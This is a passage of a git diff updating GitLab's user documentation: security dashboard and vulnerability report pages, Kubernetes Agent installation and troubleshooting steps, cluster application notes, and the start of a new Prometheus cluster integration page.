diff --git a/doc/user/application_security/security_dashboard/img/project_security_dashboard_chart_v13_11.png b/doc/user/application_security/security_dashboard/img/project_security_dashboard_chart_v13_11.png
new file mode 100644
index 00000000000..cc9f0061a31
--- /dev/null
+++ b/doc/user/application_security/security_dashboard/img/project_security_dashboard_chart_v13_11.png
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/img/project_security_dashboard_chart_v13_6.png b/doc/user/application_security/security_dashboard/img/project_security_dashboard_chart_v13_6.png
deleted file mode 100644
index 6ccae80e80e..00000000000
--- a/doc/user/application_security/security_dashboard/img/project_security_dashboard_chart_v13_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/index.md b/doc/user/application_security/security_dashboard/index.md
index 8a2c40406e2..326c88f9eef 100644
--- a/doc/user/application_security/security_dashboard/index.md
+++ b/doc/user/application_security/security_dashboard/index.md
@@ -39,7 +39,7 @@ The security dashboard and vulnerability report displays information about vulne
1. At least one project inside a group must be configured with at least one of
the [supported reports](#supported-reports).
-1. The configured jobs must use the [new `reports` syntax](../../../ci/pipelines/job_artifacts.md#artifactsreports).
+1. The configured jobs must use the [new `reports` syntax](../../../ci/yaml/README.md#artifactsreports).
1. [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 or newer must be used.
If you're using the shared runners on GitLab.com, this is already the case.
@@ -71,17 +71,23 @@ CSV file containing details of the resources scanned.
## Project Security Dashboard
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/235558) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.6.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/235558) in GitLab 13.6.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/285476) in GitLab 13.10, options to zoom in on a date range, and download the vulnerabilities chart.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/285477) in GitLab 13.11, date range slider to visualise data between given dates.
At the project level, the Security Dashboard displays a chart with the number of vulnerabilities over time.
Access it by navigating to **Security & Compliance > Security Dashboard**. We display historical
data up to 365 days. The chart's data is updated daily.
-![Project Security Dashboard](img/project_security_dashboard_chart_v13_6.png)
+![Project Security Dashboard](img/project_security_dashboard_chart_v13_11.png)
Filter the historical data by clicking on the corresponding legend name. The image above, for example, shows
only the graph for vulnerabilities with **high** severity.
+To zoom in, select the left-most icon, then select the desired rangeby dragging across the chart. Select **Remove Selection** (**{redo}**) to reset to the original date range.
+
+To download an SVG image of the chart, select **Save chart to an image** (**{download}**).
+
## Group Security Dashboard
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6709) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.5.
@@ -152,7 +158,7 @@ found in those projects' default branches.
## Keeping the dashboards up to date
The Security Dashboard displays information from the results of the most recent
-security scan on the [default branch](../../project/repository/branches/index.md#default-branch),
+security scan on the [default branch](../../project/repository/branches/default.md),
which means that security scans are performed every time the branch is updated.
If the default branch is updated infrequently, scans are run infrequently and the
diff --git a/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_11.png b/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_11.png
new file mode 100644
index 00000000000..05df41483c4
--- /dev/null
+++ b/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_11.png
Binary files differ
diff --git a/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_9.png b/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_9.png
deleted file mode 100644
index a668ce1a3b8..00000000000
--- a/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_9.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/threat_monitoring/index.md b/doc/user/application_security/threat_monitoring/index.md
index 747d31df356..ced4669e241 100644
--- a/doc/user/application_security/threat_monitoring/index.md
+++ b/doc/user/application_security/threat_monitoring/index.md
@@ -221,7 +221,7 @@ to set the status for each alert:
By default, the list doesn't display resolved or dismissed alerts. To show these alerts, clear the
checkbox **Hide dismissed alerts**.
-![Policy Alert List](img/threat_monitoring_policy_alert_list_v13_9.png)
+![Policy Alert List](img/threat_monitoring_policy_alert_list_v13_11.png)
Clicking an alert's name takes the user to the [alert details page](../../../operations/incident_management/alerts.md#alert-details-page).
diff --git a/doc/user/application_security/vulnerabilities/img/vulnerability_page_merge_request_button_v13_1.png b/doc/user/application_security/vulnerabilities/img/vulnerability_page_merge_request_button_v13_1.png
deleted file mode 100644
index a3034a7db04..00000000000
--- a/doc/user/application_security/vulnerabilities/img/vulnerability_page_merge_request_button_v13_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/vulnerabilities/index.md b/doc/user/application_security/vulnerabilities/index.md
index 416db5b07fc..b98d28f8c9f 100644
--- a/doc/user/application_security/vulnerabilities/index.md
+++ b/doc/user/application_security/vulnerabilities/index.md
@@ -50,7 +50,7 @@ From a vulnerability you can create either:
- [A Jira issue](#create-a-jira-issue-for-a-vulnerability).
Creating a Jira issue requires that
-[Jira integration](../../project/integrations/jira_integrations.md) is enabled on the project. Note
+[Jira integration](../../../integration/jira/index.md) is enabled on the project. Note
that when Jira integration is enabled, the GitLab issue feature is not available.
### Create a GitLab issue for a vulnerability
diff --git a/doc/user/application_security/vulnerability_report/img/project_security_dashboard_status_change_v13_9.png b/doc/user/application_security/vulnerability_report/img/project_security_dashboard_status_change_v13_10.png
index f9f60810f20..f9f60810f20 100644
--- a/doc/user/application_security/vulnerability_report/img/project_security_dashboard_status_change_v13_9.png
+++ b/doc/user/application_security/vulnerability_report/img/project_security_dashboard_status_change_v13_10.png
Binary files differ
diff --git a/doc/user/application_security/vulnerability_report/index.md b/doc/user/application_security/vulnerability_report/index.md
index 583859e2541..8f7740f9bfc 100644
--- a/doc/user/application_security/vulnerability_report/index.md
+++ b/doc/user/application_security/vulnerability_report/index.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Vulnerability Report **(ULTIMATE)**
The Vulnerability Report provides information about vulnerabilities from scans of the branch most
-recently merged into the default branch. It is available at the instance, group, and project level.
+recently merged into the default branch. It is available for groups, projects, and the Security Center.
At all levels, the Vulnerability Report contains:
@@ -36,6 +36,7 @@ From the Vulnerability Report you can:
- [Filter the list of vulnerabilities](#filter-the-list-of-vulnerabilities).
- [View more details about a vulnerability](#view-details-of-a-vulnerability).
+- [View vulnerable source location](#view-vulnerable-source-location) (if available).
- [View an issue raised for a vulnerability](#view-issues-raised-for-a-vulnerability).
- [Change the status of vulnerabilities](#change-status-of-vulnerabilities).
- [Export details of vulnerabilities](#export-vulnerability-details).
@@ -72,7 +73,7 @@ The content of the Project filter depends on the current level:
| Level | Content of the Project filter |
|:---------------|:------------------------------|
-| Instance level | Only projects you've [added to the instance-level Security Center](../security_dashboard/index.md#adding-projects-to-the-security-center). |
+| Security Center | Only projects you've [added to your personal Security Center](../security_dashboard/index.md#adding-projects-to-the-security-center). |
| Group level | All projects in the group. |
| Project level | Not applicable. |
@@ -99,6 +100,16 @@ Selection behavior when using the Activity filter:
To view more details of a vulnerability, select the vulnerability's **Description**. The
[vulnerability's details](../vulnerabilities) page is opened.
+## View vulnerable source location
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267509) in GitLab 13.10.
+
+Some security scanners output the filename and line number of a potential vulnerability. When
+that information is available, the vulnerability's details include a link to the relevant file,
+in the default branch.
+
+To view the relevant file, select the filename in the vulnerability's details.
+
## View issues raised for a vulnerability
The **Activity** column indicates the number of issues that have been created for the vulnerability.
@@ -108,12 +119,14 @@ Hover over an **Activity** entry and select a link go to that issue.
## Change status of vulnerabilities
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/292636) in GitLab 13.10, all statuses became selectable.
+
To change the status of vulnerabilities in the table:
1. Select the checkbox for each vulnerability you want to update the status of.
1. In the dropdown that appears select the desired status, then select **Change status**.
-![Project Vulnerability Report](img/project_security_dashboard_status_change_v13_9.png)
+![Project Vulnerability Report](img/project_security_dashboard_status_change_v13_10.png)
## Export vulnerability details
diff --git a/doc/user/asciidoc.md b/doc/user/asciidoc.md
index 6d6460ca50f..8313b20e795 100644
--- a/doc/user/asciidoc.md
+++ b/doc/user/asciidoc.md
@@ -374,7 +374,7 @@ comment - content which is not included in the output document
### Colors
-It’s possible to have color written in `HEX`, `RGB`, or `HSL` format rendered with a color indicator.
+It's possible to have color written in `HEX`, `RGB`, or `HSL` format rendered with a color indicator.
Supported formats (named colors are not supported):
- HEX: `` `#RGB[A]` `` or `` `#RRGGBB[AA]` ``
diff --git a/doc/user/clusters/agent/index.md b/doc/user/clusters/agent/index.md
index 77b9dbb1c7e..31accfdd9e4 100644
--- a/doc/user/clusters/agent/index.md
+++ b/doc/user/clusters/agent/index.md
@@ -4,13 +4,11 @@ group: Configure
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# GitLab Kubernetes Agent **(PREMIUM SELF)**
+# GitLab Kubernetes Agent **(PREMIUM)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/223061) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4.
> - [In GitLab 13.10](https://gitlab.com/gitlab-org/gitlab/-/issues/300960), KAS became available on GitLab.com under `wss://kas.gitlab.com` through an Early Adopter Program.
-
-WARNING:
-This feature might not be available to you. Check the **version history** note above for details.
+> - Introduced in GitLab 13.11, the GitLab Kubernetes Agent became available to every project on GitLab.com.
The [GitLab Kubernetes Agent](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent)
is an active in-cluster component for solving GitLab and Kubernetes integration
@@ -68,7 +66,7 @@ For more details, please refer to our [full architecture documentation](https://
The setup process involves a few steps to enable GitOps deployments:
-1. [Install the Agent server](#install-the-kubernetes-agent-server) for your GitLab instance.
+1. [Set up the Kubernetes Agent Server](#set-up-the-kubernetes-agent-server) for your GitLab instance.
1. [Define a configuration repository](#define-a-configuration-repository).
1. [Create an Agent record in GitLab](#create-an-agent-record-in-gitlab).
1. [Generate and copy a Secret token used to connect to the Agent](#create-the-kubernetes-secret).
@@ -83,7 +81,7 @@ neither stable nor versioned yet. For this reason, GitLab only guarantees compat
between corresponding major.minor (X.Y) versions of GitLab and its cluster side
component, `agentk`.
-Upgrade your agent installations together with GitLab upgrades. To decide which version of `agentk`to install follow:
+Upgrade your agent installations together with GitLab upgrades. To decide which version of `agentk` to install follow:
1. Open the [`GITLAB_KAS_VERSION`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/GITLAB_KAS_VERSION) file from the GitLab Repository, which contains the latest `agentk` version associated with the `master` branch.
1. Change the `master` branch and select the Git tag associated with your version. For instance, you could change it to GitLab [v13.5.3-ee release](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.5.3-ee/GITLAB_KAS_VERSION)
@@ -91,88 +89,14 @@ Upgrade your agent installations together with GitLab upgrades. To decide which
The available `agentk` and `kas` versions can be found in
[the container registry](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/container_registry/).
-### Install the Kubernetes Agent Server **(FREE SELF)**
-
-[Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3834) in GitLab 13.10,
-the GitLab Kubernetes Agent Server (KAS) is available on GitLab.com under `wss://kas.gitlab.com`.
-If you are a GitLab.com user, skip this step and directly
-[set up the configuration repository](#define-a-configuration-repository)
-for your agent.
-
-The GitLab Kubernetes Agent Server (KAS) can be installed through Omnibus GitLab or
-through the GitLab Helm Chart. If you don't already have
-GitLab installed, please refer to our [installation
-documentation](https://docs.gitlab.com/ee/install/README.html).
-You can install the KAS within GitLab as explained below according to your GitLab installation method.
-You can also opt to use an [external KAS](#use-an-external-kas-installation).
-
-#### Install KAS with Omnibus
-
-For [Omnibus](https://docs.gitlab.com/omnibus/) package installations:
-
-1. Edit `/etc/gitlab/gitlab.rb` to enable the Kubernetes Agent Server:
-
- ```plaintext
- gitlab_kas['enable'] = true
- ```
-
-1. [Reconfigure GitLab](../../../administration/restart_gitlab.md#omnibus-gitlab-reconfigure).
-
-To configure any additional options related to GitLab Kubernetes Agent Server,
-refer to the **Enable GitLab KAS** section of the
-[`gitlab.rb.template`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/blob/master/files/gitlab-config-template/gitlab.rb.template).
-
-#### Install KAS with GitLab Helm Chart
-
-For GitLab [Helm Chart](https://gitlab.com/gitlab-org/charts/gitlab) installations, consider the following Helm v3 example.
-If you're using Helm v2, you must modify this example. See our [notes regarding deploy with Helm](https://docs.gitlab.com/charts/installation/deployment.html#deploy-using-helm).
-
-You must set `global.kas.enabled=true` for the KAS to be properly installed and configured:
-
-```shell
-helm repo add gitlab https://charts.gitlab.io/
-helm repo update
-helm upgrade --install gitlab gitlab/gitlab \
- --timeout 600s \
- --set global.hosts.domain=<YOUR_DOMAIN> \
- --set global.hosts.externalIP=<YOUR_IP> \
- --set certmanager-issuer.email=<YOUR_EMAIL> \
- --set global.kas.enabled=true
-```
-
-To specify other options related to the KAS sub-chart, create a `gitlab.kas` sub-section
-of your `values.yaml` file:
-
-```shell
-gitlab:
- kas:
- # put your KAS custom options here
-```
-
-For details, read [Using the GitLab-KAS chart](https://docs.gitlab.com/charts/charts/gitlab/kas/).
-
-#### Use an external KAS installation
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299850) in GitLab 13.10.
+### Set up the Kubernetes Agent Server
-Besides installing KAS with GitLab, you can opt to configure GitLab to use an external KAS.
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3834) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.10, the GitLab Kubernetes Agent Server (KAS) became available on GitLab.com under `wss://kas.gitlab.com`.
-For GitLab instances installed through the GitLab Helm Chart, see [how to configure your external KAS](https://docs.gitlab.com/charts/charts/globals.html#external-kas).
+To use the KAS:
-For GitLab instances installed through Omnibus packages:
-
-1. Edit `/etc/gitlab/gitlab.rb` adding the paths to your external KAS:
-
- ```ruby
- gitlab_kas['enable'] = false
- gitlab_kas['api_secret_key'] = 'Your shared secret between GitLab and KAS'
-
- gitlab_rails['gitlab_kas_enabled'] = true
- gitlab_rails['gitlab_kas_external_url'] = 'wss://kas.gitlab.example.com' # User-facing URL for the in-cluster agentk
- gitlab_rails['gitlab_kas_internal_url'] = 'grpc://kas.internal.gitlab.example.com' # Internal URL for the GitLab backend
- ```
-
-1. [Reconfigure GitLab](../../../administration/restart_gitlab.md#omnibus-gitlab-reconfigure).
+- If you are a self-managed user, follow the instructions to [install the Kubernetes Agent Server](../../../administration/clusters/kas.md).
+- If you are a GitLab.com user, when you [set up the configuration repository](#define-a-configuration-repository) for your agent, use `wss://kas.gitlab.com` as the `--kas-address`.
### Define a configuration repository
@@ -200,23 +124,9 @@ documentation on the [Kubernetes Agent configuration repository](repository.md).
### Create an Agent record in GitLab
-Next, create an GitLab Rails Agent record so the Agent can associate itself with
+Next, create a GitLab Rails Agent record to associate it with
the configuration repository project. Creating this record also creates a Secret needed to configure
-the Agent in subsequent steps. You can create an Agent record either:
-
-- Through the Rails console:
-
- ```ruby
- project = ::Project.find_by_full_path("path-to/your-configuration-project")
- # agent-name should be the same as specified above in the config.yaml
- agent = ::Clusters::Agent.create(name: "<agent-name>", project: project)
- token = ::Clusters::AgentToken.create(agent: agent)
- token.token # this will print out the token you need to use on the next step
- ```
-
- For full details, read [Starting a Rails console session](../../../administration/operations/rails_console.md#starting-a-rails-console-session).
-
-- Through GraphQL: **(PREMIUM SELF)**
+the Agent in subsequent steps. You can create an Agent record with GraphQL:
```graphql
mutation createAgent {
@@ -257,23 +167,35 @@ the Agent in subsequent steps. You can create an Agent record either:
### Install the Agent into the cluster
-Next, install the in-cluster component of the Agent.
+To install the in-cluster component of the Agent, first you need to define a namespace. To create a new namespace,
+for example, `gitlab-kubernetes-agent`, run:
-NOTE:
-For GitLab.com users, the KAS is available at `wss://kas.gitlab.com`.
+```shell
+kubectl create namespace gitlab-kubernetes-agent
+```
-#### One-liner installation
+To perform a one-liner installation, run the command below. Make sure to replace:
-Replace the value of `agent-token` below with the token received from the previous step. Also, replace `kas-address` with the configured access of the Kubernetes Agent Server:
+- `your-agent-token` with the token received from the previous step.
+- `gitlab-kubernetes-agent` with the namespace you defined in the previous step.
+- `wss://kas.gitlab.example.com` with the configured access of the Kubernetes Agent Server (KAS). For GitLab.com users, the KAS is available under `wss://kas.gitlab.com`.
```shell
-docker run --rm registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/cli:latest generate --agent-token=your-agent-token --kas-address=wss://kas.gitlab.example.com --agent-version latest | kubectl apply -f -
+docker run --pull=always --rm registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/cli:stable generate --agent-token=your-agent-token --kas-address=wss://kas.gitlab.example.com --agent-version stable --namespace gitlab-kubernetes-agent | kubectl apply -f -
```
+Set `--agent-version` to the latest released patch version matching your
+GitLab installation's major and minor versions. For example, if you have
+GitLab v13.9.0, set `--agent-version=v13.9.1`.
+
+WARNING:
+Version `stable` can be used to refer to the latest stable release at the time when the command runs. It's fine for
+testing purposes but for production please make sure to specify a matching version explicitly.
+
To find out the various options the above Docker container supports, run:
```shell
-docker run --rm -it registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/cli:latest generate --help
+docker run --pull=always --rm registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/cli:stable generate --help
```
#### Advanced installation
@@ -286,17 +208,11 @@ Otherwise, you can follow below for fully manual, detailed installation steps.
After generating the token, you must apply it to the Kubernetes cluster.
-1. If you haven't previously defined or created a namespace, run the following command:
-
- ```shell
- kubectl create namespace <YOUR-DESIRED-NAMESPACE>
- ```
+To create your Secret, run:
-1. Run the following command to create your Secret:
-
- ```shell
- kubectl create secret generic -n <YOUR-DESIRED-NAMESPACE> gitlab-agent-token --from-literal=token='YOUR_AGENT_TOKEN'
- ```
+```shell
+kubectl create secret generic -n <YOUR_NAMESPACE> gitlab-agent-token --from-literal=token='YOUR_AGENT_TOKEN'
+```
The following example file contains the
Kubernetes resources required for the Agent to be installed. You can modify this
@@ -314,7 +230,7 @@ example [`resources.yml` file](#example-resourcesyml-file) in the following ways
`kas-address`, where `GitLab.host.tld` is your GitLab hostname.
- When using the sub-chart, specify the `ws` scheme (such as `ws://kas.host.tld:80`)
to use an unencrypted WebSockets connection.
- When using the Omnibus GitLab, specify the `ws` scheme (such as `ws://GitLab.host.tld:80/-/kubernetes-agent`).
+ When using the Omnibus GitLab, specify the `ws` scheme (such as `ws://GitLab.host.tld:80/-/kubernetes-agent/`).
- Specify the `grpc` scheme if both Agent and Server are installed in one cluster.
In this case, you may specify `kas-address` value as
`grpc://gitlab-kas.<your-namespace>:5005`) to use gRPC directly, where `gitlab-kas`
@@ -326,7 +242,7 @@ example [`resources.yml` file](#example-resourcesyml-file) in the following ways
- When deploying KAS through the [GitLab chart](https://docs.gitlab.com/charts/), it's possible to customize the `kas-address` for `wss` and `ws` schemes to whatever you need.
Check the [chart's KAS Ingress documentation](https://docs.gitlab.com/charts/charts/gitlab/kas/#ingress)
to learn more about it.
- - In the near future, Omnibus GitLab intends to provision `gitlab-kas` under a sub-domain by default, instead of the `/-/kubernetes-agent` path. Please follow [this issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5784) for details.
+ - In the near future, Omnibus GitLab intends to provision `gitlab-kas` under a sub-domain by default, instead of the `/-/kubernetes-agent/` path. Please follow [this issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5784) for details.
- If you defined your own secret name, replace `gitlab-agent-token` with your
secret name in the `secretName:` section.
@@ -370,7 +286,8 @@ spec:
serviceAccountName: gitlab-agent
containers:
- name: agent
- image: "registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/agentk:latest"
+ # Make sure to specify a matching version for production
+ image: "registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/agentk:stable"
args:
- --token-file=/config/token
- --kas-address
@@ -549,7 +466,7 @@ cilium:
## Management interfaces
Users with at least the [Developer](../../permissions.md) can access the user interface
-for the GitLab Kubernetes agent at **Operations > Kubernetes** and selecting the
+for the GitLab Kubernetes agent at **Operations > Kubernetes** under the
**GitLab Agent managed clusters** tab. This page lists all registered agents for
the current project, and the configuration directory for each agent:
@@ -561,36 +478,17 @@ Additional management interfaces are planned for the GitLab Kubernetes Agent.
## Troubleshooting
If you face any issues while using GitLab Kubernetes Agent, you can read the
-service logs with the following commands:
-
-- KAS pod logs - Tail these logs with the
- `kubectl logs -f -l=app=kas -n <YOUR-GITLAB-NAMESPACE>`
- command. In Omnibus GitLab, the logs reside in `/var/log/gitlab/gitlab-kas/`.
-- Agent pod logs - Tail these logs with the
- `kubectl logs -f -l=app=gitlab-agent -n <YOUR-DESIRED-NAMESPACE>` command.
-
-### KAS logs - GitOps: failed to get project info
-
-```plaintext
-{"level":"warn","time":"2020-10-30T08:37:26.123Z","msg":"GitOps: failed to get project info","agent_id":4,"project_id":"root/kas-manifest001","error":"error kind: 0; status: 404"}
-```
-
-This error is shown if the specified manifest project `root/kas-manifest001`
-doesn't exist, or if a project is private. To fix it, make sure the project exists
-and its visibility is [set to public](../../../public_access/public_access.md).
+service logs with the following command
-### KAS logs - Configuration file not found
-
-```plaintext
-time="2020-10-29T04:44:14Z" level=warning msg="Config: failed to fetch" agent_id=2 error="configuration file not found: \".gitlab/agents/test-agent/config.yaml\
+```shell
+kubectl logs -f -l=app=gitlab-agent -n <YOUR-DESIRED-NAMESPACE>
```
-This error is shown if the path to the configuration project was specified incorrectly,
-or if the path to `config.yaml` inside the project is not valid.
+GitLab administrators can additionally view the [Kubernetes Agent Server logs](../../../administration/clusters/kas.md#troubleshooting).
### Agent logs - Transport: Error while dialing failed to WebSocket dial
-```plaintext
+```json
{"level":"warn","time":"2020-11-04T10:14:39.368Z","msg":"GetConfiguration failed","error":"rpc error: code = Unavailable desc = connection error: desc = \"transport: Error while dialing failed to WebSocket dial: failed to send handshake request: Get \\\"https://gitlab-kas:443/-/kubernetes-agent\\\": dial tcp: lookup gitlab-kas on 10.60.0.10:53: no such host\""}
```
@@ -610,7 +508,7 @@ may try using them to create objects in Kubernetes directly for more troubleshoo
### Agent logs - Error while dialing failed to WebSocket dial: failed to send handshake request
-```plaintext
+```json
{"level":"warn","time":"2020-10-30T09:50:51.173Z","msg":"GetConfiguration failed","error":"rpc error: code = Unavailable desc = connection error: desc = \"transport: Error while dialing failed to WebSocket dial: failed to send handshake request: Get \\\"https://GitLabhost.tld:443/-/kubernetes-agent\\\": net/http: HTTP/1.x transport connection broken: malformed HTTP response \\\"\\\\x00\\\\x00\\\\x06\\\\x04\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00@\\\\x00\\\"\""}
```
@@ -626,7 +524,7 @@ issue is in progress, directly edit the deployment with the
### Agent logs - Decompressor is not installed for grpc-encoding
-```plaintext
+```json
{"level":"warn","time":"2020-11-05T05:25:46.916Z","msg":"GetConfiguration.Recv failed","error":"rpc error: code = Unimplemented desc = grpc: Decompressor is not installed for grpc-encoding \"gzip\""}
```
@@ -635,7 +533,7 @@ To fix it, make sure that both `agentk` and KAS use the same versions.
### Agent logs - Certificate signed by unknown authority
-```plaintext
+```json
{"level":"error","time":"2021-02-25T07:22:37.158Z","msg":"Reverse tunnel","mod_name":"reverse_tunnel","error":"Connect(): rpc error: code = Unavailable desc = connection error: desc = \"transport: Error while dialing failed to WebSocket dial: failed to send handshake request: Get \\\"https://GitLabhost.tld:443/-/kubernetes-agent/\\\": x509: certificate signed by unknown authority\""}
```
@@ -652,17 +550,17 @@ kubectl -n gitlab-agent create configmap ca-pemstore --from-file=myCA.pem
Then in `resources.yml`:
-```plaintext
+```yaml
spec:
serviceAccountName: gitlab-agent
containers:
- name: agent
- image: "registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/agentk:latest"
+ image: "registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/agentk:<version>"
args:
- --token-file=/config/token
- --kas-address
- wss://kas.host.tld:443 # change this line for the one below if using Omnibus GitLab
- # - wss://gitlab.host.tld:443/-/kubernetes-agent
+ # - wss://gitlab.host.tld:443/-/kubernetes-agent/
volumeMounts:
- name: token-volume
mountPath: /config
@@ -684,16 +582,16 @@ Then in `resources.yml`:
Alternatively, you can mount the certificate file at a different location and include it using the
`--ca-cert-file` agent parameter:
-```plaintext
+```yaml
containers:
- name: agent
- image: "registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/agentk:latest"
+ image: "registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/agentk:<version>"
args:
- --ca-cert-file=/tmp/myCA.pem
- --token-file=/config/token
- --kas-address
- wss://kas.host.tld:443 # change this line for the one below if using Omnibus GitLab
- # - wss://gitlab.host.tld:443/-/kubernetes-agent
+ # - wss://gitlab.host.tld:443/-/kubernetes-agent/
volumeMounts:
- name: token-volume
mountPath: /config
diff --git a/doc/user/clusters/agent/repository.md b/doc/user/clusters/agent/repository.md
index 60d8cd352fc..9caa4a89daf 100644
--- a/doc/user/clusters/agent/repository.md
+++ b/doc/user/clusters/agent/repository.md
@@ -4,10 +4,10 @@ group: Configure
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
---
-# Kubernetes Agent configuration repository **(PREMIUM SELF)**
+# Kubernetes Agent configuration repository **(PREMIUM)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/259669) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.7.
-> - It's disabled on GitLab.com. Rolling this feature out to GitLab.com is [planned](https://gitlab.com/groups/gitlab-org/-/epics/3834).
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3834) in GitLab 13.11, the Kubernetes Agent became available on GitLab.com.
WARNING:
This feature might not be available to you. Check the **version history** note above for details.
diff --git a/doc/user/clusters/applications.md b/doc/user/clusters/applications.md
index 5c3b276b90c..b11ca7aac12 100644
--- a/doc/user/clusters/applications.md
+++ b/doc/user/clusters/applications.md
@@ -91,7 +91,7 @@ apps were fetched from the central Helm stable repository (`https://kubernetes-c
This repository [was deleted](https://github.com/helm/charts#deprecation-timeline)
on November 13, 2020. This causes the installation CI/CD pipeline to
fail. Upgrade to GitLab 13.6, or alternatively, you can
-use the following `.gitlab-ci.yml`, which has been tested on GitLab 13.5:
+use the following `.gitlab-ci.yml`, which has been tested in GitLab 13.5:
```yaml
include:
@@ -1001,8 +1001,8 @@ Logs produced by pods running **GitLab Managed Apps** can be browsed using
## Install with one click
WARNING:
-The one click installation method is scheduled for removal in GitLab 14.0. The removal
-of this feature from GitLab does not affect installed applications to avoid breaking
+The one-click installation method is deprecated and scheduled for removal in [GitLab 14.0](https://gitlab.com/groups/gitlab-org/-/epics/4280).
+This removal does not affect installed applications to avoid breaking
changes. Following GitLab 14.0, users can take ownership of already installed applications
using our documentation.
@@ -1062,7 +1062,7 @@ supported by GitLab before installing any of the applications.
used to install the GitLab-managed apps. GitLab runs each `helm` command
in a pod in the `gitlab-managed-apps` namespace inside the cluster.
-- For clusters created on GitLab 13.6 and newer, GitLab uses Helm 3 to manage
+- For clusters created in GitLab 13.6 and newer, GitLab uses Helm 3 to manage
applications.
- For clusters created on versions of GitLab prior to 13.6, GitLab uses Helm 2
with a local [Tiller](https://v2.helm.sh/docs/glossary/#tiller) server. Prior
@@ -1239,7 +1239,7 @@ of a WAF are:
By default, GitLab provides you with a WAF known as [`ModSecurity`](https://www.modsecurity.org/),
which is a toolkit for real-time web application monitoring, logging, and access
-control. GitLab applies the [OWASP's Core Rule Set](https://www.modsecurity.org/CRS/Documentation/),
+control. GitLab applies the [OWASP's Core Rule Set](https://coreruleset.org/),
which provides generic attack detection capabilities.
This feature:
@@ -1314,7 +1314,7 @@ tracked over time:
- The total amount of traffic to your application.
- The proportion of traffic that's considered anomalous by the Web Application
- Firewall's default [OWASP ruleset](https://www.modsecurity.org/CRS/Documentation/).
+ Firewall's default [OWASP ruleset](https://coreruleset.org/).
If a significant percentage of traffic is anomalous, investigate it for potential threats
by [examining the Web Application Firewall logs](#web-application-firewall-modsecurity).
diff --git a/doc/user/clusters/integrations.md b/doc/user/clusters/integrations.md
new file mode 100644
index 00000000000..74c48d1a010
--- /dev/null
+++ b/doc/user/clusters/integrations.md
@@ -0,0 +1,68 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Cluster integrations **(FREE)**
+
+GitLab provides several ways to integrate applications to your
+Kubernetes cluster.
+
+To enable cluster integrations, first add a Kubernetes cluster to a GitLab
+[project](../project/clusters/add_remove_clusters.md) or [group](../group/clusters/index.md#group-level-kubernetes-clusters).
+
+## Prometheus cluster integration
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55244) in GitLab 13.11.
+
+You can integrate your Kubernetes cluster with
+[Prometheus](https://prometheus.io/) for monitoring key metrics of your
+apps directly from the GitLab UI.
+
+Once enabled, you will see metrics from services available in the
+[metrics library](../project/integrations/prometheus_library/index.md).
+
+Prerequisites:
+
+To benefit from this integration, you must have Prometheus
+installed in your cluster with the following requirements:
+
+1. Prometheus must be installed inside the `gitlab-managed-apps` namespace.
+1. The `Service` resource for Prometheus must be named `prometheus-prometheus-server`.
+
+You can use the following commands to install Prometheus to meet the requirements for cluster integrations:
+
+```shell
+# Create the require Kubernetes namespace
+kubectl create ns gitlab-managed-apps
+
+# Download Helm chart values that is compatible with the requirements above.
